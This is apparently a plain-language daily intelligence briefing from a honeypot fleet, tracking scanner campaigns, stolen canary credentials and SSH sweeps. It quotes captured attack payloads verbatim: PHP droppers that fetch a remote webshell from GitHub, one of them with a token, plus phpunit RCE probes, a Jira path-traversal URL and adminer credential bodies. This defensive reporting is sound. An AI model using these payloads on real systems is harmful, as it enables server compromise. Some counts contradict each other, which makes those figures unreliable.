Switch back to the standard briefing

FLUX FLEET — INTEL BRIEFING №46 — PLAIN LANGUAGE

Period: 2026-10-08 07:30 – 2026-10-09 07:30 UTC (24h, day 44 of operations)
Technical version: /data/flux-logs/reports/flux-fleet-intel-briefing-2026-10-09.md

What happened (plain)

A scanner known as REGISTRY-HUNT (the LeakIX l9scan tool) had its biggest day yet: 37 source IPs hit all 8 sensors, 22 of them collected 31 canary credentials, and the tool added a new step that hunts for Jira archive files (64 events from 52 IPs). NIGHTAGENT came back run by a new operator from Morocco; it ran its whole kit on both EU nodes, collected 5 canary credentials — its largest haul so far — and added a Tomcat path-bypass step. A second phpunit-RCE kit that calls itself EmperorsTools hit three sensors inside one 3-hour stretch and collected 6 credentials; it is registered as EMPERORS-KIT. Nobody used the stolen credentials: 60 credentials went to 30 collectors and none were used against AWS, while 11 mint attempts failed with HTTP 400 after five clean windows. MEGA-DICTIONARY replayed its wordlist for the 13th time (13,478 paths, from a new Datacamp host in Singapore), and WP-FORM-BRUTE shrank from 886 credential POSTs to 78. At the network layer, GO-SSH-SWEEP went from spread-out to concentrated: 34,343 SSH sessions from 70 IPs.

What it means: the trap fleet is being probed by increasingly organized, versioned tooling, and so far it is collecting credentials that nobody is spending. The fleet absorbed every probe at no cost.

What it means (plain)

  1. LeakIX rewrote its scanner and pushed the new version out the same day. The new Jira pom.properties search step ran from 52 IPs across all 8 sensors. Two new journey signatures (fe0b8d49a878 on ru-edge, 24e7b3a70bf9 on control) show the change; farm's existing signature 850993125b15 did not move. (High confidence — one tool template, 8 UA variants from one l9scan family, and all nodes picked up the new step on the same day.)
  2. The phpunit-RCE kits are starting to share the same parts. NIGHTAGENT re-sent its GHSAT-token dropper byte-for-byte identical to the first capture. EMPERORS-KIT mixed NIGHTAGENT's phpunit shape with INFOCREST's prod_rw + 22-character-password adminer shape and its own public GitHub dropper. (Moderate confidence — the captured bodies match registered templates, but nothing proves the same person runs both kits.)
  3. Three windows of credential use in a row ended. №43–№45 each had AWS use and the last 9 of 9 credentials were used by their own collector; this window 60 minted credentials produced no AWS calls. (High confidence for this window — Tracebit fired no alerts. A use that happens outside the pull window would look the same as no use, so the blind spot is real.)
  4. GO-SSH-SWEEP traded breadth for intensity. Sessions hit a record 34,343 (+6,249), while source IPs fell 89→70 and networks 29→14. That is 491 sessions per IP against 316 yesterday, aimed hardest at lauterbourg-01-ts (23,247 inbound) and frantech-ts (18,625). (High confidence — Arkime per-fingerprint counts.)

Campaigns (who / what / what it means)

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ recurring — RECORD WAVE + NEW STEP

  • Who: 37 l9scan IPs, all hosted at DigitalOcean, spread over all 8 sensors (farm 11, ru-edge 9, control 8, netcup 6, sponge 6, lauterbourg 6, frantech 4, ai-devbox 4). 22 of the IPs collected 31 canaries. Three IPs were seen on more than one node: 157.245.204.205 (ru-edge + control), 167.99.210.137 (farm + ru-edge), 146.190.103.103 (ai-devbox, and control three times). Four IPs came back for multiple passes: 159.89.12.166 (8 console events, 3 sensors), 138.68.82.23 (6, 3 sensors), 146.190.103.103 (6, 2 sensors), 207.154.197.113(6, frantech + netcup). There are 8 user-agent variants; the biggest cluster (11 IPs) uses l9scan/2.0.234313e2634323e2332313e2930313.
  • What they did: tarpit → WebLogic console → Confluence → a new Jira archive-traversal probe at /download/resources/jira.webresources:color-picker-popup/images/..::..::META-INF::maven::com.atlassian.jira::atlassian-jira-webapp::pom.properties (52 IPs, 64 events, on every sensor) → WHM/cPanel proxy paths → docker-registry enumeration (/v2/internal/..., which drove 3.3–5.1× manifest/tags spikes on 5 sensors) → a /.env credential collection about once per IP. The new step produced the two new journey signatures.
  • What it means: this is one released scanner fleet, not 37 separate attackers. The fleet logged its highest-ever IP count (previous record 31, in №41) on the same day the tool changed. None of the 31 canaries were used against AWS before the window closed. The decoys took every probe at no cost and fingerprinted the new version the day it shipped.

NIGHTAGENT (residential phpunit-RCE kit) ⟳ recurring — RETURNED, NEW STEP, LARGEST HAUL

  • Who: 160.177.245.67 (Office National des Postes, Morocco) — the ninth operator this campaign has seen in the ONP-MA address range. One IP, hitting both EU nodes in overlapping sessions: farm from 07:55 to 09:04 UTC (184 events), ai-devbox from 08:23 to 08:32 UTC (276 events).
  • What they did: phpunit check <?php echo "NightAgent";?> → POSTed a dropper <?php copy('https://raw.githubusercontent.com/nightagents/nightshell/refs/heads/main/night.php?token=GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA','night.php');readfile('night.php'); ?> — the URL and token are byte-identical to the first capture and have never been rotated, and the GitHub repo returns 404 → form login user=root&pass=wrong → wp-batch multiplexing + SQLi → a new Tomcat path-bypass-env step (25 events, and every fleet event for that tag belongs to this IP) → config-bundle census (webapp-config-bundle-js ×100) → 5 canary collections at /.env (ai-devbox 3, farm 2).
  • What it means: the kit is still running and still growing new steps. The token is never rotated, so the dropper still cannot work. The 5 collected canaries are the campaign's largest haul and its first real credential stock — watch whether they ever reach AWS.

EMPERORS-KIT (self-labeled phpunit webshell + adminer credential sweep) ⚠ NEW — FIRST WINDOW

  • Who: 150.241.66.127 (Kyonix Networks, US), one IP across three sensors inside one 3-hour stretch: farm 15:48–18:31 UTC (95 events), control 16:48–19:00 UTC (71 events), ai-devbox 17:00–18:54 UTC (78 events).
  • What they did: tarpit cycling → phpMyAdmin login POSTs (phpmyadmin-login ×107 across the three nodes — this is the whole of control-1's 8.9× spike) → POSTs to /admin/adminer.php with auth[driver]=server&auth[server]=&auth[username]=prod_rw&auth[password]=<22-char rotating>, four captured exactly: 1mnHuJs62NsqWHlUPqBwug, i2k6qVuRK0tqBXL8aYWWUw, Diaq_f9XN60NTbx49oQmBQ, slp5YKkH9d_tLDZH7wcS6A → phpunit check <?php echo "EmperorsTools";?> → dropper <?php copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php','emperorstools.php');readfile('emperorstools.php'); ?> → config census (env-production, whm-login, app-config-php, fake-git, symfony-profiler). 6 canaries collected (2 per sensor; 7 over 6 days).
  • What it means: this is a separate kit that borrows INFOCREST's credential shape and NIGHTAGENT's RCE shape — commodity kits converging on one playbook. Its dropper points at a public repo with no token, so unlike NIGHTAGENT's this one can actually work. This window captured the full chain for the first time; watch the 6 canaries for AWS use and watch for a second operator.

CONFIG-SWEEP (config census with a forged Googlebot user-agent) ⟳ recurring — FOURTH WINDOW, ESCALATED

  • Who: 87.120.104.29 (Sino Worldwide, Norway), hitting canary-farm-1 only this window. It still holds 6 canaries collected on 10-06 that remain unused.
  • What they did: 300 events across 150 paths and 40 trap families in about one second (21:45:13–14 UTC) while pretending to be Googlebot/2.1. 144 events hit a new env-production-error tag — farm's env-production decoys answering variants of /.env_backup, /.env.saved, /docker-compose/.env, /frontend/.env, /server/.env.local, /.env.old~. 2 mint attempts failed with HTTP 400 (the upstream rejected the burst).
  • What it means: the same actor escalated from a light 150-event pass to a sub-second burst with a new set of decoys. The burst was too fast for the mint endpoint, so going faster cost it the credentials.

BUCKLOG-KIT (Bucklog SARL, France — the /24 census arm) ⟳ recurring — FIFTH WINDOW

  • Who: 185.177.72.38 on control-1, 05:25–05:30 UTC: 244 events across 76 paths and 19 families under curl/8.7.1 (ipsum:4 + firehol2). The other four known IPs in its block (.75/.64/.9/.205) stayed away.
  • What they did: env-variant directory fanout, wp-config and phpMyAdmin paths; the census arm's first /.env mint attempt failed with HTTP 400.
  • What it means: the census arm kept control-1 from №45 and keeps rotating which operator inside the /24 is used. The only credential use this family has ever produced is still the №44 mint + SES use from .205.

MEGA-DICTIONARY (shared IoT dropper-URL wordlist) ⟳ recurring — THIRTEENTH REPLAY

  • Who: 138.199.60.3 (Datacamp Limited, Singapore — a new country for this Datacamp class, ipsum:1) on frantech-ts, 02:01–02:03 UTC: 13,478 events across 13,478 distinct paths in 2 minutes, GET-only, 94% of that node's window volume.
  • What they did: replayed the dropper-URL wordlist. The list grew by 4 paths over №45's 13,474; the growth series is now …+31/+29/+4.
  • What it means: an eighth straight growth event and a fifth Datacamp host. The wordlist keeps moving between hosting providers; the deception surface absorbs each replay at no cost.

KITEWORKS-CRAWL (Kiteworks decoy fingerprinting) ⟳ recurring — GOOGLE BE CLASS RETURNED

  • Who: 35.241.178.74 (119 events, 14:35 UTC) and 34.156.206.32 (143 events, 20:47 UTC, including kiteworks-asset bundles) — fresh Google LLC Belgium IPs in the same class as №42–№43. The №45 AWS 16.216.88.x cluster stayed away.
  • What they did: kiteworks-root-redirect → /login [kiteworks-shell] → kiteworks-asset JS bundles → webshell sweep + probe → tarpit passes. Vhost volume was 554, up from 506.
  • What it means: the purpose-built crawler template has now shown three operator classes across five windows. The decoy keeps fingerprinting this tooling at no cost. 0 canaries collected.

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ recurring — ZERO-USE WINDOW

  • Who: on the collection side, 30 collector IPs (top holders: 45.148.10.171with 10 mints, 41 over 6 days; 150.241.66.127 with 6; 160.177.245.67 with 5). On the use side: nobody — 0 AWS alerts.
  • What they did: collected canaries at /.env inside census traffic, and made no validation calls this window.
  • What it means: the first zero-use window since №42. Three campaigns collected 12 canaries between them (REGISTRY-HUNT 31, EMPERORS-KIT 6, NIGHTAGENT 5) — the largest fresh inventory of the month, with none of it spent. Held credentials stay in hostile hands until they expire.

WP-FORM-BRUTE (distributed wp-login credential POST) ⟳ recurring — CONTRACTED

  • Who: the standing wp-login cluster (signature 9ff5e462ca0e): 22 IPs, 154 probe + credential events, on farm and ai-devbox. The CANADA 217.60.x class and the synchronized trio were absent; no year-theme bodies were captured.
  • What they did: probe → credential POST → probe; 78 credential POSTs (farm 40, ai-devbox 38).
  • What it means: an 11× contraction from №45's record wave. The 2026-dictionary class was either a one-window spike or it rotates on a long cycle — the campaign's identity is its roster, not its IPs.

Watch-class singles (no campaign yet)

  • 158.178.159.133 (Oracle, Netherlands): on frantech-ts, 181 POSTs to a single path /mysql/dbadmin/index.php in 26 s (14:31:50–16 UTC), under a self-labeled user-agent Go Web Pentest Tool. This is the whole of the phpmyadmin-login 181× spike. One node, one burst; it becomes a campaign on a second appearance.
  • 141.255.162.236 (Private Layer, Switzerland): on ru-edge-1, 709 events across 517 vhost favicon.ico paths, 13:00–18:11 UTC — second window, 2.7× the volume, same node. New Kazakhstan/ERP-flavored directories first seen (/enterprise-kz/, /jkh_erp/, /meat-mes-erp/, /poultry-farm-erp/). Still needs a second node to register.
  • 172.104.241.92 (Akamai Connected Cloud, Germany, ipsum:3 + firehol2): on lauterbourg-01-ts, 219 events across 28 families in 31 s (05:31 UTC) — nmaplowercheck, Citrix rdx, Kiteworks shell, ColdFusion CFIDE, and a webshell sweep in one pass.
  • 193.37.32.88 (F.n.s. Holdings, Singapore, ipsum:1): on netcup-ts, 95 events across 88 paths and 18 families in 24 s (14:11 UTC) — a fast multi-family census.
  • 208.84.100.218: a symfony-profiler census collector (with a forged Chrome/39.0.2171.95 user-agent), 4 canaries collected on 3 sensors, 5 over 6 days — standing, but unattributed.
  • 45.148.10.171: its fourteenth window in a row collecting canaries — 10 canaries across farm, ai-devbox, and control (41 over 6 days), zero AWS use.

Absent or paused

These campaigns or signatures produced nothing this window: KEYHUNT (its first absence — 8 held canaries unused), SI-CENSUS (second idle window; 27 held ru-edge credentials unused), ENVRC-SWEEP (all four signatures absent), OMEGA-SWEEP (its sixth consecutive /46-census miss, and its pool singles were also silent), METADATA-HUNT (twelfth marker-absent window), MEVSPACE-GITWALK (second miss), GIT-VAULT (fourth window), the standalone XMLRPC-BRUTE (0 multicall bodies), SONICWALL-VPN-PROBE, LLM-ENDPOINT-PROBE, the SS-Net pair 80.94.95.211/.92.65 (their first joint mintless window in weeks), Feo Prest .154/.175 (0 mints this window; their №45 uses remain the last observed use events), NIGHTAGENT's former operators (105.159.4.244, 185.213.193.49), BUCKLOG .75/.64/.9/.205, the CANADA wp-form class, and the Bochum academic crawler 185.73.23.162 (0 events after 1,637 yesterday).

Standing actors (who keeps coming back)

  • 45.148.10.171 — 14 windows, 41 canaries held over 6 days, still zero AWS use.
  • 87.120.104.29 — fourth window in a row, now in burst form.
  • 204.76.203.18 (Pfcloud, Netherlands) — the MALWARE-DICT loop on control-1 continues (1,981 events, top of the talker table).
  • 3e1c5eb879e7 /-handshake pool — 87 IPs / 613 events fleet-wide (down from 103 / 811), steady background traffic.
  • 7e61a9500d8b php-cgi RCE probe cluster — 11 IPs / 539 events on 5 sensors (down from 15 / 733).
  • 4b4cc0ece037 tarpit pool — 21 IPs / 147 events on 3 sensors; and fabbcf845ac5 with 5 IPs (first seen 10-02).

Network sweeps (Arkime)

What it means: this is traffic that reaches the fleet's public IPs but never asks for a web path — a banner sweep leaves no HTTP event, no canary, and no journey signature, so this is the only place the fleet can see it.

The sensor watched the SSH layer (ssh.hassh), destination port 22, over 2026-10-08 07:30:00 → 2026-10-09 07:31:25 UTC, and counted 105,554 inbound sessions. The fleet IPs in scope: ai-devbox-1 217.15.163.226,canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150,ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144. Session tags: honeypot 63,258, sensor:lauterbourg-01-ts 23,247, bahrain-sponge-01-ts 21,428 (sensor tag the same 21,428), frantech-ts 18,625 (sensor tag the same 18,625).

Eight client fingerprints were tracked this window. In order of volume:

  • f555226df1963d1d3c09daf865abdc9a — 5,889 sessions, 302 source IPs, 147 networks, 52 countries, port 22, 2026-10-08 07:30 → 2026-10-09 07:23, a dispersed sweep (one port, many networks).
  • 0a07365cc01fa9fc82608ba4019af499 — 34,343 sessions, 70 source IPs, 14 networks, 11 countries, port 22, 07:30 → 07:18, distributed.
  • 084386fa7ae5039bcf6f07298a05a227 — 98 sessions, 69 source IPs, 8 networks, 6 countries, port 22, 07:39 → 06:47, distributed.
  • 16443846184eafde36765c9bab2f4397 — 16,725 sessions, 31 source IPs, 18 networks, 16 countries, port 22, 07:30 → 07:23, single-source.
  • dd9bcf093c355da7000132131cb36fd0 — 30 sessions, 29 source IPs, 1 network, 2 countries, port 22, 10:13 → 04:51, single-source.
  • 03a80b21afa810682a776a7d42e5e6fb — 615 sessions, 23 source IPs, 18 networks, 11 countries, port 22, 07:30 → 07:13, single-source.
  • 2ec37a7cc8daf20b10e1ad6221061ca5 — 2,033 sessions, 18 source IPs, 3 networks, 4 countries, port 22, 07:30 → 07:23, single-source.
  • 4e066189c3bbeec38c99b1855113733a — 7,565 sessions, 15 source IPs, 7 networks, 7 countries, port 22, 08:35 → 06:12, single-source.

One fingerprint met the "dispersed sweep" test of ≥50 source IPs and ≥20 networks on one port (the "mass" test is ≥200 source IPs):

  • f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 5,889 sessions from 302 source IPs across 147 networks in 52 countries, port 22, averaging 4,907 bytes per session. Networks include AS8075 Microsoft Corporation, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS150436 Byteplus Pte. Ltd., AS4766 Korea Telecom, AS16276 OVH SAS. Busiest sources: 51.68.226.87, 40.83.182.122, 182.48.68.82, 157.230.218.106, 112.217.188.122. Over the last 7 days it sent, by day: 10-03 346 IPs, 10-04 343, 10-05 360, 10-06 297, 10-07 350, 10-08 309, 10-09 116.

The reading: GO-SSH-SWEEP (0a07365cc01f…) set a session record of 34,343 (+6,249) while its source pool shrank (89→70 IPs, 29→14 networks). Its shape flipped from dispersed to concentrated hammering and it is now the top fingerprint on 6 of 8 nodes, heaviest against lauterbourg-01-ts (23,247 sessions) and frantech-ts (18,625). Its shell stage stayed silent — the honeypot saw no new commands. LIBSSH-MASSSWEEP (f555226df196…) held its plateau on day 20 (302 IPs, −32) as the window's only flagged sweep. e54ef3ec27fe… collapsed to 15 IPs / 19 sessions, so yesterday's near-threshold activity is over; it never crossed. 16443846184e… pulled back to 16,725 sessions / 31 IPs. control-1's top fingerprint 4e066189c3bb… logged its thirteenth uncharacterized cycle (7,565 sessions, 15 IPs). 19532158b559… grew again (2,869 sessions, +906, 12 IPs — a second consecutive growth, worth watching). One new fingerprint appeared today: 52c99fce46b6… (ssh-2.0-go, 11 sessions / 10 IPs, below thresholds). LEAKIX-SSH (fd65145f481d…) returned below thresholds after four absent windows: 7 sessions from 7 IPs on 1 network.

Fingerprint identity — never the source IP — is the tracking key: sweep operators rotate their addresses but keep the tool.

Canaries (minted and used)

What it means: canaries are the credentials the fleet hands out on purpose. Each one is worthless unless an attacker tries to use it, so "minted but unused" is a stock of credentials sitting in hostile hands.

This was a zero-use window. Nothing was used against AWS. Across the fleet, 60 canaries were collected by 30 collector IPs, and none of them reached AWS. The funnel: 60 credentials minted, 30 distinct collector IPs, 0 used in AWS, 60 stolen with no observed use in the window. 7 calls did succeed — all of them GetCallerIdentity, which at most leaks identity; any success beyond sts:GetCallerIdentity would be a finding.

Per collector, the canaries collected this window (sensor: how many), with the collector's 6-day mint history:

  • 45.148.10.171 — ai-devbox 4, canary-farm 4, control 2 (10 total); 41 mints since 2026-10-02 06:10.
  • 150.241.66.127 — ai-devbox 2, canary-farm 2, control 2 (6); 7 mints since 2026-10-04 13:24.
  • 160.177.245.67 — ai-devbox 3, canary-farm 2 (5); 5 mints since 2026-10-08 07:57.
  • 105.115.6.147 — ai-devbox 3, canary-farm 1 (4); 5 mints since 2026-10-07 21:06.
  • 208.84.100.218 — canary-farm 2, ai-devbox 1, ru-edge 1 (4); 5 mints since 2026-10-02 16:15.
  • 146.190.103.103 — control 2, ai-devbox 1 (3); 6 mints since 2026-10-03 06:26.
  • 64.227.32.66 — canary-farm 2; 3 mints since 2026-10-06 20:37.
  • 128.199.182.55 — canary-farm 2; 2 mints since 2026-10-08 20:14.
  • 157.245.204.205 — control 1, ru-edge 1 (2); 3 mints since 2026-10-04 20:34.
  • 167.99.210.137 — canary-farm 1, ru-edge 1 (2); 4 mints since 2026-10-03 06:09.
  • 109.205.176.10 — ru-edge 1; 7 mints since 2026-10-02 15:52.
  • 138.68.82.23 — ru-edge 1; 1 mint, 2026-10-08 17:33.
  • 138.68.86.32 — control 1; 2 mints since 2026-10-03 20:42.
  • 139.59.132.8 — canary-farm 1; 1 mint, 2026-10-08 19:34.
  • 139.59.136.184 — ru-edge 1; 2 mints since 2026-10-05 20:27.
  • 146.190.63.248 — control 1; 1 mint, 2026-10-08 18:42.
  • 157.245.113.227 — canary-farm 1; 3 mints since 2026-10-04 20:03.
  • 159.65.18.197 — canary-farm 1; 1 mint, 2026-10-08 19:34.
  • 164.92.244.132 — canary-farm 1; 3 mints since 2026-10-03 20:42.
  • 165.22.235.3 — ru-edge 1; 1 mint, 2026-10-08 18:42.
  • 167.71.175.236 — control 1; 1 mint, 2026-10-08 19:29.
  • 167.71.81.114 — canary-farm 1; 1 mint, 2026-10-08 19:29.
  • 206.189.225.181 — ru-edge 1; 2 mints since 2026-10-05 19:55.
  • 206.189.95.232 — ru-edge 1; 5 mints since 2026-10-03 06:08.
  • 206.81.12.187 — canary-farm 1; 1 mint, 2026-10-08 20:39.
  • 209.38.208.202 — control 1; 1 mint, 2026-10-08 19:33.
  • 209.99.188.170 — ru-edge 1; 2 mints since 2026-10-07 17:51.
  • 209.99.189.217 — ru-edge 1; 3 mints since 2026-10-06 15:38.
  • 64.23.218.208 — control 1; 2 mints since 2026-10-05 19:54.
  • 68.183.9.16 — canary-farm 1; 4 mints since 2026-10-02 20:42.

Collectors that keep collecting and have never been seen using a credential (check prior briefings for named campaigns before treating any as new):

How the fleet behaved (Fleet Observations)

What it means: these are the fleet-side numbers that explain the movements above and show whether the deception design is doing its job.

Canaries. The digest's mint rows: canary-farm-1 25 (from 16 IPs), ai-devbox-1 15 (7), control-1 12 (9), ru-edge-1 12 (11) — 64 rows total; lauterbourg-01-ts does not appear in the mint table. After Tracebit deduplication that is 60 credentials to 30 collectors. Mint failures returned after five clean windows: 11 HTTP 400s (farm 4, ai-devbox 3, control 2, ru-edge 2) — scattered single failures from census walkers plus CONFIG-SWEEP's burst pair. The upstream rejection pattern is unchanged: it happens when the request rate is too high.

Attribution and TLS. The X-Forwarded-For counters: any 1,365 / multi-entry 0 / ignored-internal 188 / single-entry mismatch 0 — the fourth straight window with no forgery signal. The host census is still led by bare IPs on all 8 nodes; lauterbourg's kiteworks.rightabouteverything.show carried 554 vhost events and ai-devbox-1's inference.fapthropic.com carried 579.

Volume moves and their causes. netcup-ts fell 60% (785) and sponge-01-ts fell 42% (882) because the Bochum academic crawler logged 0 events after 1,637 yesterday, and №44's BUCKLOG netcup census aged out of the window. canary-farm-1 fell 46% (1,996) because №45's 886-POST wp-form wave left the window. frantech-ts rose 14% (14,318) on the MEGA-DICTIONARY replay. ru-edge-1 rose 48% day-over-day (1,490) on the favicon enumerator's 709 events plus 9 REGISTRY-HUNT IPs. lauterbourg rose 33% (1,577) on the two Google Belgium crawls, the .92 scanner, and 6 REGISTRY-HUNT IPs. ai-devbox-1 rose 14% (1,344) on NIGHTAGENT's 276 events. control-1 was flat (3,138).

Result-tag spikes. Every spike of ≥3× has a named cause: farm's env-production-error (inf, 144 events) is all 87.120.104.29; frantech's phpmyadmin-login 181× (181) is all 158.178.159.133; farm's phpmyadmin-login 5.5× (42) and control's phpmyadmin-login 8.9× (31) are 150.241.66.127; the docker-registry-manifest/tags spikes of 3.3–5.1× on control, frantech, netcup, ru-edge, and sponge are the REGISTRY-HUNT wave; control's whm-login 5.5× (24) is REGISTRY-HUNT journeys plus EMPERORS-KIT.

control-1 discovery velocity. Day 26: 3,138 events from 114 unique IPs — inside its normal 84–157 band, the eighteenth window in a row.

Digest quirks. First-seen timestamps again cluster at the two log-sync minutes (03:15/03:31 local), so treat first-seen as an inventory, not a timeline. The ai-devbox-1 rotated-file gap (env-canary.jsonl.1, 268 MB) is in its eighth cycle; all-time counters stay depressed because of it.

Fleet-side changes this cycle. In flux-visuals.py, the CHAINS dict gained EMPERORS-KIT and updated REGISTRY-HUNT (record wave + Jira stage), NIGHTAGENT (→ active, new step), CREDENTIAL-DRAIN (zero use), MEGA-DICT, CONFIG-SWEEP, WP-FORM-BRUTE, BUCKLOG-KIT, KITEWORKS-CRAWL, KEYHUNT (→ idle), SI-CENSUS (→ second idle), and SS-PROBE. TALKER_CAMPAIGNS gained 7. recon-names.tsv was unchanged (no new named network campaign). The visuals dashboard ran once (flux-fleet-visuals-2026-10-09.html).

SSH/telnet honeypot (frantech-ts — one host, not fleet-wide)

What it means: this is the only place the pipeline sees what an operator does after getting a shell. It is one host, so it is never a fleet-wide number.

The funnel: 442 sources sent credentials → 335 got a shell (76%) → 218 ran a command (65% of those who got a shell, 49% of all sources). At the event level: 12,275 credential attempts → 3,108 accepted logins → 7,132 commands (229% of accepted logins go on to run something). Telnet activity (commodity IoT botnets) was 970 attempts, down from 2,152.

Nineteenth static-command window. New commands: 0 out of 49 distinct. The GO-SSH-SWEEP shell stage that ran 5,110 survey events yesterday stayed silent. The Techoff /24's GPU survey continued (uname/lspci/nvidia-smi enumeration, 583–584 events per command from 3 IPs, example source 195.178.110.218), and the .ssh replant pair stayed dominant (chattr -ia .ssh 840 events / 188 IPs; the key-replace 740 / 163).

Credential concentration collapsed. 7,917 distinct pairs were offered, 153 of them new, and the top pair drew 1 attempt — yesterday's fixed-pair sprayers (345gs5662d34 at 1,128 attempts) rotated away, so no pair concentrates this window.

Open questions

What it means: these are the things we cannot yet answer. Where we do not know something, we say so rather than guess.

  1. REGISTRY-HUNT's 31 canaries. Do they reach AWS? And does the Jira pom.properties step persist into a second window? A same-session use would be this campaign's first.
  2. EMPERORS-KIT. Is raw.githubusercontent.com/president32/uploader2/main/emperor.php still reachable? Does a second operator appear? And do its 6 canaries reach AWS — unlike NIGHTAGENT's dropper, this one carries no token and can succeed.
  3. NIGHTAGENT's new Tomcat path-bypass-env step. Did the kit ship it to other operators, and does EMPERORS-KIT adopt it?
  4. GO-SSH-SWEEP's concentrated phase. It ran 491 sessions per IP into lauterbourg-01-ts and frantech-ts without authenticating. We do not yet know if this is password-spray staging or banner harvesting; watch for the shell stage re-arming.
  5. Held inventory. 45.148.10.171 (41 over 6 days), KEYHUNT's 8, SI-CENSUS's 27, and the Feo Prest hoards — any use beyond sts:GetCallerIdentity is a finding.
  6. 141.255.162.236's favicon/vhost enumeration. Third window of growth on a single node; it registers on a second node.
  7. ai-devbox-1 history (eighth cycle). Ingest env-canary.jsonl.1 (268 MB) or move log rotation behind the sync boundary.
  8. Network-layer characterization. 4e066189c3bb… (thirteenth cycle) and 19532158b559… (second growth window) remain unnamed; 52c99fce46b6… is new today.

Plain language version of: flux-fleet-intel-briefing-2026-10-09.md